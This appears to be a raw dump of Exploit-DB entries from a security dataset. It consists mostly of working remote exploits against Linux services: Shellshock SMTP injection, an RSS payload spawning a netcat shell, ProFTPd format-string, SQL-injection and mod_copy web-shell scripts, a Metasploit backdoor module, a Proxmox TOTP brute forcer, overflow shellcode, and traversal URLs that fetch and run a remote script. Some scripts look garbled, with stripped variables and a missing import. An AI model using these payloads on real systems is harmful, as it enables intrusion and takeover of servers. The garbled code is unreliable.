deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34896
Description: Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection
Type: remote
Platform: linux
Date: 2014-10-06
Author: Phil Blank

Exploit:
#!/bin/python
# Exploit Title:  Shellshock SMTP Exploit
# Date: 10/3/2014
# Exploit Author: fattymcwopr
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/
# Version: 4.2.x < 4.2.48
# Tested on: Debian 7 (postfix smtp server w/procmail)
# CVE : 2014-6271

from socket import *
import sys

def usage():
    print "shellshock_smtp.py <target> <command>"

argc = len(sys.argv)
if(argc < 3 or argc > 3):
    usage()
    sys.exit(0)

rport = 25
rhost = sys.argv[1]
cmd = sys.argv[2]

headers = ([
    "To",
    "References",
    "Cc",
    "Bcc",
    "From",
    "Subject",
    "Date",
    "Message-ID",
    "Comments",
    "Keywords",
    "Resent-Date",
    "Resent-From",
    "Resent-Sender"
    ])

s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, rport))

# banner grab
s.recv(2048*4)

def netFormat(d):
    d += "\n"
    return d.encode('hex').decode('hex')

data = netFormat("mail from:<>")
s.send(data)
s.recv(2048*4)

data = netFormat("rcpt to:<nobody>")
s.send(data)
s.recv(2048*4)

data = netFormat("data")
s.send(data)
s.recv(2048*4)

data = ''
for h in headers:
    data += netFormat(h + ":() { :; };" + cmd)

data += netFormat(cmd)

# <CR><LF>.<CR><LF>
data += "0d0a2e0d0a".decode('hex')

s.send(data)
s.recv(2048*4)

data = netFormat("quit")
s.send(data)
s.recv(2048*4)
Exploit-DB #27902
Description: Prodder 0.4 - Arbitrary Shell Command Execution
Type: remote
Platform: linux
Date: 2006-05-22
Author: RedTeam Pentesting

Exploit:
source: https://www.securityfocus.com/bid/18068/info

Prodder is prone to an arbitrary command-execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary shell commands on the vulnerable computer in the context of the running application.

<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl"?> <rss version="2.0"> <channel> <title>RedTeam Pentesting Example Malicious Server Feed</title> <item> <enclosure url="http://www.example.com/example.mp3'; nc -e /bin/sh -l -p 1337 & ';#'" length="241734" type="audio/mpeg" /> </item> </channel> </rss>
Exploit-DB #19503
Description: ProFTPd 1.2 pre6 - 'snprintf' Remote Root
Type: remote
Platform: linux
Date: 1999-09-17
Author: Tymm Twillman

Exploit:
source: https://www.securityfocus.com/bid/650/info

Lack of user input validation in ProFTPD can lead to a remote root vulnerability.

On systems that support it ProFTPD will attempt to modify the name of the program being executed (argv[0]) to display the command being executed by the logged on user. It does this by using snprintf to copy the input of the user into a buffer.

The call to snprintf is in the 'set_proc_title' function in the main.c source file. It is only compiled in if the define PF_ARGV_TYPE equals the PF_ARGV_WRITABLE define.

ProFTPD passes the user input to snprintf as the format argument string of the function call. This allows remote users to supply possible dangerous format arguments to snprintf. 

Tymm Twillman gives the following example:

- ftp to host
- login (anonymous or no)

(this should be all on one line, no spaces)

ftp> ls aaaXXXX%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%653300u%n

(replace the X's with the characters with ascii values 0xdc,0x4f,0x07,0x08
consecutively)


Since proftpd will pass on user input data to snprintf, argument attacks are easy. The a's at the beginning are just for alignment, the %u's to skip bytes in the stack, the %653300u is to increment the # of bytes that have been "output", and the %n stores that value (whose LSBs have now flipped over to 0) to the location pointed to by the current "argument" -- which just happens to point right after the a's in this string. The bytes that replace the X's are the address where proftpd keeps the current user ID...

Logging in as an anonymous user, you are still restricted as to some of the things you can do. But with a local login, root compromise at this point is trivial. And it is possible to modify this exploit for other systems, and for remote attacks.
Exploit-DB #581
Description: ProFTPd 1.2.10 - Remote Users Enumeration
Type: remote
Platform: linux
Date: 2004-10-17
Author: Leon Juranic

Exploit:
/* 
Details 
Vulnerable Systems:
* ProFTPD Version 1.2.10 and below

It is possible to determine which user names are valid, which are special, and which ones do not exist on the remote system. This can be accomplished by code execution path timing analysis attack at the ProFTPd login procedure. There is a very small (but significant) difference in time delay of code execution path between valid and non-valid user names. That can be used to remotely determine the difference between existent and non-existent users. The time delay can be measured by using a simple FTP client that will calculate elapsed time between 'USER' command sent by client, and the server response. Because of the very short response period, elapsed time should be measured in microseconds.

Proof of Concept Code:
LSS has developed simple PoC exploit that is presented here:

// ProFTPd remote users discovery based on code execution time - POC exploit
// Coded by Leon Juranic // http://www.lss.hr
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>

#define PORT 21
#define PROBE 8

main (int argc, char **argv)
{
int sock,n,y;
long dist,stat=0;
struct sockaddr_in sin;
char buf[1024], buf2[1024];
struct timeval tv, tv2;
struct timezone tz, tz2;

printf ("Proftpd remote users discovery exploit\n"
" Coded by Leon / LSS Security\n"
">-------------------------------------<\n");

if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }

sock = socket (AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons (PORT);
sin.sin_addr.s_addr = inet_addr (argv[1]);
bzero (sin.sin_zero,8);

connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

printf ("Login time: ");
n = read (sock,buf2, sizeof(buf2));
for (y=0;y<PROBE;y++) {
gettimeofday (&tv,&tz);
snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);
write (sock, buf, strlen(buf));
n = read (sock,buf2, sizeof(buf2));
gettimeofday (&tv2,&tz2);
dist =tv2.tv_usec - tv.tv_usec;
stat += dist;
printf (" %d |",dist);
}
printf ("\nAvrg: %d\n",(stat/PROBE));
close (sock);
}

// milw0rm.com [2004-10-17]
Exploit-DB #43
Description: ProFTPd 1.2.9 RC1 - 'mod_sql' SQL Injection
Type: remote
Platform: linux
Date: 2003-06-19
Author: Spaine

Exploit:
#!/usr/bin/perl
# ProFTPD 1.2.9 rc1 mod_sql SQL Injection remote Exploit
# Spaine - 2003

use IO::Socket;
if(@ARGC<2){
    print "\nProof Of Concept Sql Inject on ProFTPD\n";
    print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
    exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote = 
IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1) 
                          or die "Can't connect. \n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
    print $remote "USER ')UNION 
SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n";
}else{
    print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' 
WHERE(''='\n";
};
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print $remote "PASS p\n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}
print "Sent query to $ARGV[0]\n";
if($line =~ /230/){  #logged in
    print "[------- Sql Inject Able \n";
}else{
    print "[------- Sql Inject Unable \n";
}
close $remote;

# milw0rm.com [2003-06-19]
Exploit-DB #3021
Description: ProFTPd 1.2.9 rc2 - '.ASCII' File Remote Code Execution (2)
Type: remote
Platform: linux
Date: 2003-10-15
Author: Solar Eclipse

Exploit:
# ProFTPd remote root exploit
# solareclipse at phreedom dot org
# GPG key ID: E36B11B7

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3021.tar.gz (12262006-proftpd-not-pro-enough.tar.gz)

# milw0rm.com [2003-10-15]
Exploit-DB #36803
Description: ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution
Type: remote
Platform: linux
Date: 2015-04-21
Author: R-73eN

Exploit:
# Title: ProFTPd 1.3.5 Remote Command Execution
# Date : 20/04/2015
# Author: R-73eN
# Software: ProFTPd 1.3.5 with mod_copy
# Tested : Kali Linux 1.06
# CVE : 2015-3306
# Greetz to Vadim Melihow for all the hard work .
import socket
import sys
import requests
#Banner
banner = ""
banner += "  ___        __        ____                 _    _  \n"  
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if(len(sys.argv) < 4):
    print '\n Usage : exploit.py server directory cmd'
else:
	server = sys.argv[1] #Vulnerable Server
	directory = sys.argv[2] # Path accessible from web .....
	cmd = sys.argv[3] #PHP payload to be executed
	evil = '<?php system("' + cmd + '") ?>'
	s.connect((server, 21))
	s.recv(1024)
	print '[ + ] Connected to server [ + ] \n'
	s.send('site cpfr /etc/passwd')
	s.recv(1024)
	s.send('site cpto ' + evil)
	s.recv(1024)
	s.send('site cpfr /proc/self/fd/3')
	s.recv(1024)
	s.send('site cpto ' + directory + 'infogen.php')
	s.recv(1024)
	s.close()
	print '[ + ] Payload sended [ + ]\n'
	print '[ + ] Executing Payload [ + ]\n'
	r = requests.get('http://' + server + '/infogen.php') #Executing PHP payload through HTTP
	if (r.status_code == 200):
		print '[ * ] Payload Executed Succesfully [ * ]'
	else:
		print ' [ - ] Error : ' + str(r.status_code) + ' [ - ]'
		
print '\n http://infogen.al/'
Exploit-DB #49908
Description: ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
Type: remote
Platform: linux
Date: 2021-05-26
Author: Shellbr3ak

Exploit:
# Exploit Title: ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
# Date: 25/05/2021
# Exploit Author: Shellbr3ak
# Version: 1.3.5 
# Tested on: Ubuntu 16.04.6 LTS
# CVE : CVE-2015-3306

#!/usr/bin/env python3

import sys
import socket
import requests

def exploit(client, target):
    client.connect((target,21)) # Connecting to the target server
    banner = client.recv(74)
    print(banner.decode())
    client.send(b'site cpfr /etc/passwd\r\n')
    print(client.recv(1024).decode())
    client.send(b'site cpto <?php phpinfo(); ?>\r\n') # phpinfo() is just a PoC.
    print(client.recv(1024).decode())
    client.send(b'site cpfr /proc/self/fd/3\r\n')
    print(client.recv(1024).decode())
    client.send(b'site cpto /var/www/html/test.php\r\n')
    print(client.recv(1024).decode())
    client.close()
    print('Exploit Completed')

def check(url):
    req = requests.get(url) # Requesting the written PoC php file via HTTP
    if req.status_code == 200:
        print('[+] File Written Successfully')
        print(f'[+] Go to : {url}')
    else:
        print('[!] Something Went Wrong')
        print('[!] Directory might not be writable')

def main():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    target = sys.argv[1]
    exploit(client, target)
    url = 'http://' + target + '/test.php'
    check(url)

if __name__ == '__main__':
    main()
Exploit-DB #36742
Description: ProFTPd 1.3.5 - File Copy
Type: remote
Platform: linux
Date: 2015-04-13
Author: anonymous

Exploit:
Description TJ Saunders 2015-04-07 16:35:03 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the
mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands
to be used by *unauthenticated clients*:

---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------

He provides another, scarier example:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

test.php contains contain correct php script "<?php phpinfo(); ?>" which
can be run by the php interpreter

Source: http://bugs.proftpd.org/show_bug.cgi?id=4169
Exploit-DB #16921
Description: ProFTPd-1.3.3c - Backdoor Command Execution (Metasploit)
Type: remote
Platform: linux
Date: 2010-12-03
Author: Metasploit

Exploit:
##
# $Id: proftpd_133c_backdoor.rb 11214 2010-12-03 12:34:38Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ProFTPD-1.3.3c Backdoor Command Execution',
			'Description'    => %q{
					This module exploits a malicious backdoor that was added to the
				ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]
				archive between November 28th 2010 and 2nd December 2010.
			},
			'Author'         => [ 'MC', 'darkharper2' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11214 $',
			'References'     =>
				[
					[ 'OSVDB', '69562'],
					[ 'BID', '45150' ],
					[ 'URL', 'http://sourceforge.net/mailarchive/message.php?msg_name=alpine.DEB.2.00[PII_REDACTED]220.12930%40familiar.castaglia.org' ],
				],
			'Privileged'     => true,
			'Platform'       => [ 'unix' ],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl telnet',
						}
				},
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DisclosureDate' => 'Dec 2 2010',
			'DefaultTarget' => 0))

		deregister_options('FTPUSER', 'FTPPASS')
	end

	def exploit

		connect

		print_status("Sending Backdoor Command")
		sock.put("HELP ACIDBITCHEZ\r\n")

		res = sock.get_once(-1,10)
	
		if ( res and res =~ /502/ )
			print_error("Not backdoored")
		else
			sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
			handler
		end

		disconnect

	end

end
Exploit-DB #51763
Description: Proxmox VE - TOTP Brute Force
Type: remote
Platform: linux
Date: 2024-01-31
Author: Cory Cline_ Gabe Rust

Exploit:
# Exploit Title: Proxmox VE TOTP Brute Force
# Date: 09/23/2023
# Exploit Author: Cory Cline, Gabe Rust
# Vendor Homepage: https://www.proxmox.com/en/
# Software Link: http://download.proxmox.com/iso/
# Version: 5.4 - 7.4-1
# Tested on: Debian
# CVE : CVE-2023-43320

import time
import requests
import urllib.parse
import json
import os
import urllib3

urllib3.disable_warnings()
threads=25

#################### REPLACE THESE VALUES #########################
password="KNOWN PASSWORD HERE"
username="KNOWN USERNAME HERE"
target_url="https://HOST:PORT"
##################################################################

ticket=""
ticket_username=""
CSRFPreventionToken=""
ticket_data={}

auto_refresh_time = 20 # in minutes - 30 minutes before expiration
last_refresh_time = 0

tokens = [];

for num in range(0,1000000):
    tokens.append(str(num).zfill(6))

def refresh_ticket(target_url, username, password):
    global CSRFPreventionToken
    global ticket_username
    global ticket_data
    refresh_ticket_url = target_url + "/api2/extjs/access/ticket"
    refresh_ticket_cookies = {}
    refresh_ticket_headers = {}
    refresh_ticket_data = {"username": username, "password": password, "realm": "pve", "new-format": "1"}
    ticket_data_raw = urllib.parse.unquote(requests.post(refresh_ticket_url, headers=refresh_ticket_headers, cookies=refresh_ticket_cookies, data=refresh_ticket_data, verify=False).text)
    ticket_data = json.loads(ticket_data_raw)
    CSRFPreventionToken = ticket_data["data"]["CSRFPreventionToken"]
    ticket_username = ticket_data["data"]["username"]

def attack(token):
    global last_refresh_time
    global auto_refresh_time
    global target_url
    global username
    global password
    global ticket_username
    global ticket_data
    if ( int(time.time()) > (last_refresh_time + (auto_refresh_time * 60)) ):
        refresh_ticket(target_url, username, password)
        last_refresh_time = int(time.time())

    url = target_url + "/api2/extjs/access/ticket"
    cookies = {}
    headers = {"Csrfpreventiontoken": CSRFPreventionToken}
    stage_1_ticket = str(json.dumps(ticket_data["data"]["ticket"]))[1:-1]
    stage_2_ticket = stage_1_ticket.replace('\\"totp\\":', '\"totp\"%3A').replace('\\"recovery\\":', '\"recovery\"%3A')
    data = {"username": ticket_username, "tfa-challenge": stage_2_ticket, "password": "totp:" + str(token)}
    response = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
    if(len(response.text) > 350):
        print(response.text)
        os._exit(1)

while(1):
    refresh_ticket(target_url, username, password)
    last_refresh_time = int(time.time())

    with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
        res = [executor.submit(attack, token) for token in tokens]
        concurrent.futures.wait(res)
Exploit-DB #1238
Description: Prozilla 1.3.7.4 - 'ftpsearch' Results Handling Buffer Overflow
Type: remote
Platform: linux
Date: 2005-10-02
Author: taviso

Exploit:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define OVERFLOW (1<<10)+32
#define SLEDSIZ (1<<10)
#define RETADDR 0x806977a+SLEDSIZ/2
#define OUTPUT "AdvResults.asp"

/*
* prozilla bug, found while auditing for gentoo bug #70090 
* -taviso@gentoo.org
*/

/* execve() /bin/id */
unsigned char shellcode[] =
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7e"
"\x02\xad\x8e\x83\xeb\xfc\xe2\xf4\x14\x09\xf5\x17\x2c\x64\xc5\xa3"
"\x1d\x8b\x4a\xe6\x51\x71\xc5\x8e\x16\x2d\xcf\xe7\x10\x8b\x4e\xdc"
"\x96\x0a\xad\x8e\x7e\x2d\xcf\xe7\x10\x2d\xc4\xea\x7e\x55\xfe\x07"
"\x9f\xcf\x2d\x8e";

int main(int argc, char **argv)
{
unsigned char *buf;
void *ret = (void *) RETADDR;
FILE *exploit;
int i;

exploit = fopen(OUTPUT, "w");
fprintf(exploit, "<PRE><A HREF=>");

buf = malloc(OVERFLOW);
for (i = 0; buf + i < buf + OVERFLOW; i += sizeof(void *))
memcpy(buf + i, &ret, sizeof(void *));
fwrite(buf, OVERFLOW, 1, exploit);
fprintf(exploit, "</A><A HREF=></A><A HREF=></A></PRE>");
buf = realloc(buf, SLEDSIZ + sizeof(shellcode));
memset(buf, 0x90, SLEDSIZ);
memcpy(buf + SLEDSIZ, shellcode, sizeof(shellcode));
fwrite(buf, SLEDSIZ + sizeof(shellcode), 1, exploit);
free(buf);
fprintf(stderr, "[*] %s created.\n", OUTPUT);
return 0;
}

// milw0rm.com [2005-10-02]
Exploit-DB #22057
Description: Pserv 2.0 - User-Agent HTTP Header Buffer Overflow (1)
Type: remote
Platform: linux
Date: 2002-11-30
Author: Sapient2003

Exploit:
source: https://www.securityfocus.com/bid/6286/info

A buffer overflow vulnerability has been reported in Pserv. The buffer overflow condition is due to the way Pserv handles data streams from remote connections. 

An attacker can exploit this vulnerability by issuing a HTTP request with an overly long User-Agent header. Due to insufficient buffers being allocated when processing the data, it may be possible to corrupt sensitive memory on the system stack.

#!/usr/bin/perl -w

use IO::Socket;

 = "Pserv 2.0 Beta 1, 2, 3, 5";

unless (@ARGV == 1) {
print "\n By Sapient2003\n";
die "usage: -bash <host to exploit>\n";
}
print "\n By Sapient2003\n";

 = "A" x 500;

 = "GET / HTTP/1.0\nUser-Agent: \n\n";
 = "GET / HTTP/1.0\n\n";
 = "GET / HTTP/1.\n\n";

 = IO::Socket::INET->new(
    PeerAddr => [0],
    PeerPort => 80,
    Proto    => "tcp",
) or die "Can't find host [0]\n";
print  ;
print "Attempted to exploit User-Agent HTTP Header\n";
close();

 = IO::Socket::INET->new(
    PeerAddr => [0],
    PeerPort => 80,
    Proto    => "tcp",
) or die "Can't find host [0]\n";
print  ;
print "Attempted to exploit HTTP Request Parsing\n";
close();
Exploit-DB #25669
Description: pserv 3.2 - Directory Traversal
Type: remote
Platform: linux
Date: 2005-05-16
Author: Claus R. F. Overbeck

Exploit:
source: https://www.securityfocus.com/bid/13642/info

pServ is prone to a directory traversal vulnerability. This occurs because the application does not implement a proper method for filtering directory traversal sequences from URIs. Since this can be done from the cgi-bin directory, it is possible to execute commands to which the Web server has permission.

This issue was reported to affect pServ version 3.2; earlier versions are like vulnerable. 

The following url downloads a script (or executable) to the server:
http://www.example.com:2000/cgi-bin///////////../../../../../../../../usr/bin/wget?-q+http://evil-site/evil.pl/+-O+/tmp/evil.pl

This is how the script can be executed afterwards:
http://www.example.com:2000/cgi-bin///////////../../../../../../../../usr/bin/perl?/tmp/evil.pl
Exploit-DB #23794
Description: PWebServer 0.3.x - Directory Traversal
Type: remote
Platform: linux
Date: 2004-03-08
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/9817/info

It has been reported that PWebServer is prone to a remote directory traversal vulnerability. This issue is due to a failure of the server process to properly filter user supplied URI requests.

Information acquired by exploiting this issue may be used to aid further attacks against a vulnerable system.

http://www.example.com:6789/../someFile
http://www.example.com:6789/../../../../etc/passwd